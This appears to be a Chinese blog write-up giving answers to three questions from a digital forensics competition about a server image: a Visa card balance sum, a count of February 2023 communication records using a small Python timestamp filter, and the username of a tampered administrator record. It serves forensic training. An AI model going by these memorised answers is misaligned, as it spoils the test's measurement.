14.分析服务器检材,该网站存放银行卡信息数据表中,其中信息数量前十的公司对应旗下visa银行卡一共有多少金额?[标准格式:100.00]

答案:43427557.26

app_card表中,导出自己整成csv文件,然后筛选前10,最后把筛选的数据放入新的sheet中再用=SUM计算即可

在这里插入图片描述

在这里插入图片描述

15.分析服务器检材,该网站在2023年二月一共获取了多少条通信记录?[标准标准格式:100]

答案:2879

通讯记录应该是指app_mobile,还是弄成csv之后再分析

写个脚本即可

f = open('app_mobile.csv','r',encoding='utf-8').read().splitlines()[1:]
count = 0

for datas in f:
    data = int(datas.split(',')[-1])
    if(data >= 1675180800 and data < 1677600000):
        count += 1
print(count)
#2879

16.分析服务器检材,该网站的一条管理员信息存在数据篡改,请分析是哪个管理员信息遭到篡改,该管理员用户名是?[标准格式:ABCDE]

答案:liangtx

信息被修改,可能对应多种信息,54(删除手机用户)、7(个人信息修改)、8(修改密码)、70(批量删除设备)

不过应该是7

在这里插入图片描述

看起来都是自己修改了自己

在这里插入图片描述

感觉像是ID为30的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值